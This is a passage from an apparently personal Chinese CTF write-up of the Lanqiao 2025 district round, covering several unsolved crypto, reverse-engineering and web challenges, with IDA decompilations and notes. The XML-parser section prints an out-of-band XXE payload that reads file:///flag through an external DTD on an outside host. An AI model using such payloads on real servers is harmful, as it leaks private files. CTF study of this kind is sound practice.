是随机生成的，key1 是通过 key0 中的内容随机编排而成的</p><p>然后再加密解密的过程中，key0 和 key1 会分别作为密钥和向量 iv 进行加解密，过程大概是</p><p>对 msg 用 key&#x3D;key0, iv&#x3D;key1 进行 AES 加密，在对结果用 key&#x3D;key1, iv&#x3D;key0 进行 AES 解密，得到了题目给我们的 cipher</p><p><code>cipher = b&#39;6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|&gt;\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6&#39;</code></p><p>所以如果要反着来，就得要用 key&#x3D;key1, iv&#x3D;key0 先进行 AES 加密，再对其结果用 key&#x3D;key0, iv&#x3D;key1 进行 AES 解密才能得到我们的明文</p><p>然后现在的问题是 key0 未知，题目说可以爆破，但是题目给的条件说实话我不太会用</p><p>题目给了个 gift，然后这个 gift 是通过 <code>a0 &amp; a1</code> 产生的（按位与）</p><p>然后？就么有然后了……真不会利用这个 gift</p><h1 id="【密码破解】ECBTrain（未出）"><a href="#【密码破解】ECBTrain（未出）" class="headerlink" title="【密码破解】ECBTrain（未出）"></a>【密码破解】ECBTrain（未出）</h1><blockquote><p>AES的ECB模式存在很明显的缺陷。你能否尝试以admin身份完成本题挑战？</p></blockquote><p>题目给了容器，nc 进去有注册、登录、退出三个选项</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">╰─  nc 39.105.2.63 20628</span><br><span class="line"> _____ _____ ______ _____         _</span><br><span class="line">|  ___/  __ \| ___ \_   _|       (_)</span><br><span class="line">| |__ | /  \/| |_/ / | |_ __ __ _ _ _ __</span><br><span class="line">|  __|| |    | ___ \ | | &#x27;__/ _` | | &#x27;_ \</span><br><span class="line">| |___| \__/\| |_/ / | | | | (_| | | | | |</span><br><span class="line">\____/ \____/\____/  \_/_|  \__,_|_|_| |_|</span><br><span class="line"></span><br><span class="line">请选择操作：</span><br><span class="line">1. 注册</span><br><span class="line">2. 登录</span><br><span class="line">3. 退出</span><br><span class="line">请输入选项编号:</span><br></pre></td></tr></table></figure><p>其中，注册不能够以用户名 <code>admin</code> 注册，我先用用户名 user，密码 123 注册得到</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">请输入选项编号: 1</span><br><span class="line">请输入用户名: user</span><br><span class="line">请输入密码: 123</span><br><span class="line">注册成功！你的auth为: eHDaWi860uwUt/Khad7iSw==</span><br></pre></td></tr></table></figure><p>而当我用登录，会这么说</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">请选择操作：</span><br><span class="line">1. 注册</span><br><span class="line">2. 登录</span><br><span class="line">3. 退出</span><br><span class="line">请输入选项编号: 2</span><br><span class="line">若是能以admin身份登录就给你flag。</span><br><span class="line">请输入auth: eHDaWi860uwUt/Khad7iSw==</span><br><span class="line">登录成功！</span><br><span class="line">你是以 user 身份登录</span><br></pre></td></tr></table></figure><p>也就是说登录跟密码一点关系都没有，我们要做的是利用 ECB 模式的缺陷，使得我们的 auth 变成 admin 的 auth</p><p>那么问题来了 ECB 的缺陷是什么？？？（不让上网查呀我没办法呀）</p><h1 id="【密码破解】Enigma（未出）"><a href="#【密码破解】Enigma（未出）" class="headerlink" title="【密码破解】Enigma（未出）"></a>【密码破解】Enigma（未出）</h1><blockquote><p>Enigma是20世纪早期由德国工程师Arthur Scherbius设计的一款便携式机械加密设备，旨在为需要高安全性通信的场景提供加密保护。其核心原理基于可旋转的机械转子、反射器和接线板的组合，通过复杂的电路转换实现对明文的加密与解密。</p><p>（本题需要选手还原成原文字母，提交格式为flag{原文字母}，其中原文字母为全英文大写，且去掉空格。）</p></blockquote><p>布什戈门？这 tm 是个啥哟？？？</p><p>题目给了一个 html 文件，打开是赛博厨子（设定好的）</p><p><img src="https://assets.bili33.top/img/Lanqiao-CTF-2025-District-Round-Writeup/msedge_Tv1AMxE61y.png"></p><p>没懂这是什么原理，又不让查，下一个</p><h1 id="【漏洞挖掘分析】星际XML解析器（未出）"><a href="#【漏洞挖掘分析】星际XML解析器（未出）" class="headerlink" title="【漏洞挖掘分析】星际XML解析器（未出）"></a>【漏洞挖掘分析】星际XML解析器（未出）</h1><blockquote><p>你已进入星际数据的世界，输入XML数据，启动解析程序，探索未知的数据奥秘！</p></blockquote><p>打开是一个网页</p><p><img src="https://assets.bili33.top/img/Lanqiao-CTF-2025-District-Round-Writeup/chrome_wq47NkY9Et.png"></p><p>确实实现了 xml 的解析，我开始在想是不是 XXE（因为 ADCTF 做过一道 XXE），先浅浅地拿 ADCTF 的 payload 来试试（虽然远程文件不存在）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</span><br><span class="line">&lt;!DOCTYPE ANY [</span><br><span class="line">&lt;!ENTITY % file SYSTEM &quot;file:///flag&quot;&gt;</span><br><span class="line">&lt;!ENTITY % dtd SYSTEM &quot;https://org.bili33.top/CTFTMP/try.dtd&quot;&gt;</span><br><span class="line">%dtd;</span><br><span class="line">%send;</span><br><span class="line">]&gt;</span><br><span class="line">&lt;reg&gt;&lt;name&gt;11&lt;/name&gt;&lt;tel&gt;22&lt;/tel&gt;&lt;email&gt;33&lt;/email&gt;&lt;/reg&gt;</span><br></pre></td></tr></table></figure><p>然后就报错了</p><p><img src="https://assets.bili33.top/img/Lanqiao-CTF-2025-District-Round-Writeup/chrome_UxS90sx7iM.png"></p><p>看来并不是 XXE 那一套，还是不给查，我也没办法</p><h1 id="【逆向分析】ShadowPhases（未出）"><a href="#【逆向分析】ShadowPhases（未出）" class="headerlink" title="【逆向分析】ShadowPhases（未出）"></a>【逆向分析】ShadowPhases（未出）</h1><blockquote><p>在调查一起跨国数据泄露事件时，你的团队在暗网论坛发现一组被称作’三影密匣’的加密缓存文件。据匿名线报，这些文件采用上世纪某情报机构开发的“三重影位算法”，关键数据被分割为三个相位，每个相位使用不同的影位密钥混淆。威胁分析显示，若不能在48小时内还原原始信息，某关键基础设施的访问密钥将被永久销毁。逆向工程师的日志残页显示：’相位间存在密钥共鸣，但需警惕内存中的镜像陷阱..</p></blockquote><p>先惯例拖进 IDA 看看有没有什么线索，但是我没看出来</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> Str1[<span class="number">128</span>]; <span class="comment">// [rsp+30h] [rbp-50h] BYREF</span></span><br><span class="line">  <span class="type">char</span> Str2[<span class="number">128</span>]; <span class="comment">// [rsp+B0h] [rbp+30h] BYREF</span></span><br><span class="line">  <span class="type">void</span> *v6; <span class="comment">// [rsp+130h] [rbp+B0h]</span></span><br><span class="line">  <span class="type">void</span> *v7; <span class="comment">// [rsp+138h] [rbp+B8h]</span></span><br><span class="line">  <span class="type">void</span> *v8; <span class="comment">// [rsp+140h] [rbp+C0h]</span></span><br><span class="line">  <span class="type">void</span> *v9; <span class="comment">// [rsp+150h] [rbp+D0h]</span></span><br><span class="line">  <span class="type">void</span> *v10; <span class="comment">// [rsp+158h] [rbp+D8h]</span></span><br><span class="line">  <span class="type">void</span> *v11; <span class="comment">// [rsp+160h] [rbp+E0h]</span></span><br><span class="line">  <span class="type">char</span> v12[<span class="number">13</span>]; <span class="comment">// [rsp+16Eh] [rbp+EEh] BYREF</span></span><br><span class="line">  <span class="type">char</span> v13[<span class="number">15</span>]; <span class="comment">// [rsp+17Bh] [rbp+FBh] BYREF</span></span><br><span class="line">  <span class="type">char</span> Src[<span class="number">5</span>]; <span class="comment">// [rsp+18Ah] [rbp+10Ah] BYREF</span></span><br><span class="line">  <span class="type">char</span> v15[<span class="number">9</span>]; <span class="comment">// [rsp+18Fh] [rbp+10Fh] BYREF</span></span><br><span class="line">  <span class="type">void</span> *v16; <span class="comment">// [rsp+198h] [rbp+118h]</span></span><br><span class="line">  <span class="type">void</span> *v17; <span class="comment">// [rsp+1A0h] [rbp+120h]</span></span><br><span class="line">  <span class="type">void</span> *Block; <span class="comment">// [rsp+1A8h] [rbp+128h]</span></span><br><span class="line">  <span class="type">char</span> v19[<span class="number">6</span>]; <span class="comment">// [rsp+1B2h] [rbp+132h] BYREF</span></span><br><span class="line">  <span class="type">size_t</span> v20; <span class="comment">// [rsp+1B8h] [rbp+138h]</span></span><br><span class="line">  <span class="type">size_t</span> v21; <span class="comment">// [rsp+1C0h] [rbp+140h]</span></span><br><span class="line">  <span class="type">size_t</span> Size; <span class="comment">// [rsp+1C8h] [rbp+148h]</span></span><br><span class="line"></span><br><span class="line">  sub_401B10();</span><br><span class="line">  Src[<span class="number">0</span>] = <span class="number">0</span>;                                   <span class="comment">// src = [0, 5, -125, 0x80, -114]</span></span><br><span class="line">  Src[<span class="number">1</span>] = <span class="number">5</span>;</span><br><span class="line">  Src[<span class="number">2</span>] = <span class="number">-125</span>;</span><br><span class="line">  Src[<span class="number">3</span>] = <span class="number">0x80</span>;</span><br><span class="line">  Src[<span class="number">4</span>] = <span class="number">-114</span>;</span><br><span class="line">  <span class="built_in">strcpy</span>(v15, <span class="string">&quot;+&quot;</span>);</span><br><span class="line">  v15[<span class="number">2</span>] = <span class="number">-125</span>;                                <span class="comment">// v15 = [&quot;+&quot;, -125, 47, -86, 43, -127, -88, -91]</span></span><br><span class="line">  v15[<span class="number">3</span>] = <span class="number">47</span>;</span><br><span class="line">  v15[<span class="number">4</span>] = <span class="number">-86</span>;</span><br><span class="line">  v15[<span class="number">5</span>] = <span class="number">43</span>;</span><br><span class="line">  v15[<span class="number">6</span>] = <span class="number">-127</span>;</span><br><span class="line">  v15[<span class="number">7</span>] = <span class="number">-88</span>;</span><br><span class="line">  v15[<span class="number">8</span>] = <span class="number">-91</span>;</span><br><span class="line">  Size = <span class="number">14</span>i64;</span><br><span class="line">  v13[<span class="number">0</span>] = <span class="number">19</span>;                                  <span class="comment">// v13 = [19, 57, -66, -66, -76, 56, -72, -70, -69, -96, 62, -112, 58, -70, -76]</span></span><br><span class="line">  v13[<span class="number">1</span>] = <span class="number">57</span>;</span><br><span class="line">  v13[<span class="number">2</span>] = <span class="number">-66</span>;</span><br><span class="line">  v13[<span class="number">3</span>] = <span class="number">-66</span>;</span><br><span class="line">  v13[<span class="number">4</span>] = <span class="number">-76</span>;</span><br><span class="line">  v13[<span class="number">5</span>] = <span class="number">56</span>;</span><br><span class="line">  v13[<span class="number">6</span>] = <span class="number">-72</span>;</span><br><span class="line">  v13[<span class="number">7</span>] = <span class="number">-70</span>;</span><br><span class="line">  v13[<span class="number">8</span>] = <span class="number">-69</span>;</span><br><span class="line">  v13[<span class="number">9</span>] = <span class="number">-76</span>;</span><br><span class="line">  v13[<span class="number">10</span>] = <span class="number">62</span>;</span><br><span class="line">  v13[<span class="number">11</span>] = <span class="number">-112</span>;</span><br><span class="line">  v13[<span class="number">12</span>] = <span class="number">58</span>;</span><br><span class="line">  v13[<span class="number">13</span>] = <span class="number">-70</span>;</span><br><span class="line">  v13[<span class="number">14</span>] = <span class="number">-76</span>;</span><br><span class="line">  v21 = <span class="number">15</span>i64;</span><br><span class="line">  v12[<span class="number">0</span>] = <span class="number">-117</span>;                                <span class="comment">// v12 = [-117, -119, 3, 4, -120, -117, 32, 9, 34, -120, 8, -115, -120, -81]</span></span><br><span class="line">  v12[<span class="number">1</span>] = <span class="number">-119</span>;</span><br><span class="line">  v12[<span class="number">2</span>] = <span class="number">34</span>;</span><br><span class="line">  v12[<span class="number">3</span>] = <span class="number">-120</span>;</span><br><span class="line">  v12[<span class="number">4</span>] = <span class="number">-117</span>;</span><br><span class="line">  v12[<span class="number">5</span>] = <span class="number">32</span>;</span><br><span class="line">  v12[<span class="number">6</span>] = <span class="number">9</span>;</span><br><span class="line">  v12[<span class="number">7</span>] = <span class="number">34</span>;</span><br><span class="line">  v12[<span class="number">8</span>] = <span class="number">-120</span>;</span><br><span class="line">  v12[<span class="number">9</span>] = <span class="number">8</span>;</span><br><span class="line">  v12[<span class="number">10</span>] = <span class="number">-115</span>;</span><br><span class="line">  v12[<span class="number">11</span>] = <span class="number">-120</span>;</span><br><span class="line">  v12[<span class="number">12</span>] = <span class="number">-81</span>;</span><br><span class="line">  v20 = <span class="number">13</span>i64;</span><br><span class="line">  v19[<span class="number">5</span>] = <span class="number">-103</span>;                                <span class="comment">// v19 = [&#x27;&quot;&#x27;, &quot;D&quot;, &quot;f&quot;, -1, -35, -103]</span></span><br><span class="line">  v19[<span class="number">4</span>] = <span class="number">-35</span>;</span><br><span class="line">  v19[<span class="number">3</span>] = <span class="number">-1</span>;</span><br><span class="line">  qmemcpy(v19, <span class="string">&quot;\&quot;Df&quot;</span>, <span class="number">3</span>);</span><br><span class="line">  Block = <span class="built_in">malloc</span>(<span class="number">0xF</span>ui64);</span><br><span class="line">  v17 = <span class="built_in">malloc</span>(v21 + <span class="number">1</span>);</span><br><span class="line">  v16 = <span class="built_in">malloc</span>(v20 + <span class="number">1</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !Block || !v17 || !v16 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(&amp;Buffer);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">memcpy</span>(Block, Src, Size);</span><br><span class="line">  <span class="built_in">memcpy</span>(v17, v13, v21);</span><br><span class="line">  <span class="built_in">memcpy</span>(v16, v12, v20);</span><br><span class="line">  sub_4015B6((__int64)Block, Size, v19[<span class="number">2</span>]);</span><br><span class="line">  sub_4015B6((__int64)v17, v21, v19[<span class="number">1</span>]);</span><br><span class="line">  sub_4015B6((__int64)v16, v20, v19[<span class="number">0</span>]);</span><br><span class="line">  *((_BYTE *)Block + Size) = <span class="number">0</span>;</span><br><span class="line">  *((_BYTE *)v17 + v21) = <span class="number">0</span>;</span><br><span class="line">  *((_BYTE *)v16 + v20) = <span class="number">0</span>;</span><br><span class="line">  v9 = v17;</span><br><span class="line">  v10 = v16;</span><br><span class="line">  v11 = Block;</span><br><span class="line">  v6 = Block;</span><br><span class="line">  v7 = v17;</span><br><span class="line">  v8 = v16;</span><br><span class="line">  sub_401550(Str2, <span class="number">0x80</span>ui64, <span class="string">&quot;%s%s%s&quot;</span>, (<span class="type">const</span> <span class="type">char</span> *)Block, (<span class="type">const</span> <span class="type">char</span> *)v17, (<span class="type">const</span> <span class="type">char</span> *)v16);</span><br><span class="line">  <span class="built_in">printf</span>(&amp;Format);</span><br><span class="line">  <span class="built_in">scanf</span>(<span class="string">&quot;%127s&quot;</span>, Str1);</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">strcmp</span>(Str1, Str2) )</span><br><span class="line">    <span class="built_in">puts</span>(&amp;byte_40502A);</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    <span class="built_in">puts</span>(&amp;byte_405031);</span><br><span class="line">  <span class="built_in">free</span>(Block);</span><br><span class="line">  <span class="built_in">free</span>(v17);</span><br><span class="line">  <span class="built_in">free</span>(v16);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="【逆向分析】BashBreaker（未出）"><a href="#【逆向分析】BashBreaker（未出）" class="headerlink" title="【逆向分析】BashBreaker（未出）"></a>【逆向分析】BashBreaker（未出）</h1><blockquote><p>赛博考古学界流传着一个传说——人工智能先驱艾琳·巴什博士在自杀前，将毕生研究的核心算法封存在了他的量子实验室中。这个实验室遵循古老的巴什博弈协议，唯有通过15枚光子硬币的智慧试炼，才能唤醒沉睡的实验室AI。</p></blockquote><p>简单来说这就是在 15 步的步程内，双方都可以选择走 1~3 步，谁先走到终点谁就赢了</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v3; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v5[<span class="number">2</span>]; <span class="comment">// [rsp+2Ch] [rbp-14h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> i; <span class="comment">// [rsp+34h] [rbp-Ch]</span></span><br><span class="line">  <span class="type">int</span> v7; <span class="comment">// [rsp+38h] [rbp-8h]</span></span><br><span class="line">  <span class="type">int</span> v8; <span class="comment">// [rsp+3Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  _main(argc, argv, envp);</span><br><span class="line">  v8 = <span class="number">15</span>;</span><br><span class="line">  v3 = time(<span class="number">0</span>i64);</span><br><span class="line">  srand(v3);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;You want my treasure? You can have it all if you want it. Go find it! I hid the treasure chest in the program&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Number of remaining steps: 15 | 1 to 3 steps per round | The first one to get to the KEY\n&quot;</span>);</span><br><span class="line">  v5[<span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">while</span> ( v8 &gt; <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Remaining steps: [%d]\n&quot;</span>, (<span class="type">unsigned</span> <span class="type">int</span>)v8);</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Number of steps (1-3): &quot;</span>);</span><br><span class="line">      <span class="keyword">while</span> ( <span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, v5) != <span class="number">1</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Input error, please re-enter: &quot;</span>);</span><br><span class="line">        <span class="keyword">while</span> ( getchar() != <span class="number">10</span> )</span><br><span class="line">          ;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> ( v5[<span class="number">0</span>] &gt; <span class="number">0</span> &amp;&amp; v5[<span class="number">0</span>] &lt;= <span class="number">3</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( v8 &lt; v5[<span class="number">0</span>] )</span><br><span class="line">          <span class="built_in">printf</span>(aNotEnoughSteps, (<span class="type">unsigned</span> <span class="type">int</span>)v8);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">puts</span>(aMustTake13Step);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v5[<span class="number">0</span>] &lt;= <span class="number">0</span> || v5[<span class="number">0</span>] &gt; <span class="number">3</span> || v8 &lt; v5[<span class="number">0</span>] );</span><br><span class="line">    v8 -= v5[<span class="number">0</span>];</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;* Player walks %d steps, remaining %d\n\n&quot;</span>, (<span class="type">unsigned</span> <span class="type">int</span>)v5[<span class="number">0</span>], (<span class="type">unsigned</span> <span class="type">int</span>)v8);</span><br><span class="line">    <span class="keyword">if</span> ( v8 &lt;= <span class="number">0</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      full_decrypt();</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;This is your KEY. You deserve it ! !&quot;</span>);</span><br><span class="line">      <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">0x2F</span>; ++i )</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%02X&quot;</span>, real_key[i]);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    v7 = calculate_best_move((<span class="type">unsigned</span> <span class="type">int</span>)v8);</span><br><span class="line">    <span class="keyword">if</span> ( v7 &lt;= <span class="number">0</span> || v7 &gt; <span class="number">3</span> )</span><br><span class="line">      v7 = <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">if</span> ( v7 &gt; v8 )</span><br><span class="line">      v7 = v8;</span><br><span class="line">    v8 -= v7;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;* The AI takes %d steps, remaining %d\n\n&quot;</span>, (<span class="type">unsigned</span> <span class="type">int</span>)v7, (<span class="type">unsigned</span> <span class="type">int</span>)v8);</span><br><span class="line">    <span class="keyword">if</span> ( v8 &lt;= <span class="number">0</span> )</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;This treasure does not belong to you. Go back, Boy&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;\nGame over ! &quot;</span>);</span><br><span class="line">  system(<span class="string">&quot;pause&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在 <code>calculate_best_move</code> 函数中能够看到对手的逻辑</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">calculate_best_move</span><span class="params">(<span class="type">int</span> a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> ( a1 &lt;= <span class="number">0</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>i64;</span><br><span class="line">  <span class="keyword">if</span> ( a1 % <span class="number">4</span> )</span><br><span class="line">    <span class="keyword">return</span> (<span class="type">unsigned</span> <span class="type">int</span>)(a1 % <span class="number">4</span>);</span><br><span class="line">  <span class="keyword">if</span> ( a1 == <span class="number">4</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">3</span>i64;</span><br><span class="line">  <span class="keyword">if</span> ( a1 == <span class="number">8</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">3</span>i64;</span><br><span class="line">  <span class="keyword">return</span> (<span class="type">unsigned</span> <span class="type">int</span>)(rand() % <span class="number">3</span> + <span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果剩余的步数小于等于 0，返回 0；如果 <code>a1 % 4 != 0</code>，就返回余数，如果 <code>a1 == 4</code> 或者 <code>a1 == 8</code>，就返回 3，其他时候返回一个随机的步数</p><p>我相信这一题肯定不会是让你真的来做完这个游戏的，但是我也不知道咋做</p><h1 id="【漏洞挖掘分析】RuneBreach（未出）"><a href="#【漏洞挖掘分析】RuneBreach（未出）" class="headerlink" title="【漏洞挖掘分析】RuneBreach（未出）"></a>【漏洞挖掘分析】RuneBreach（未出）</h1><blockquote><p>你是一名穿越到异世界的勇者，正面临最终决战！邪恶的 Boss 即将占领你的王国，唯一的机会就是利用传说中的“漏洞之剑”击败它。</p><p>然而，Boss 在战场上布下了魔法沙箱结界，禁止你使用常规的“召唤术”！你必须找到结界中的弱点，注入符文，才能给予 Boss 致命一击！</p></blockquote><p>这个题目里面说到”魔法沙箱结界”，我在想是不是沙箱逃逸</p><p>拖进 IDA 看一眼，在函数 <code>battle_loop</code> 里面有战斗相关的逻辑</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> __noreturn <span class="title function_">battle_loop</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v0; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> v1; <span class="comment">// [rsp+3h] [rbp-1Dh]</span></span><br><span class="line">  <span 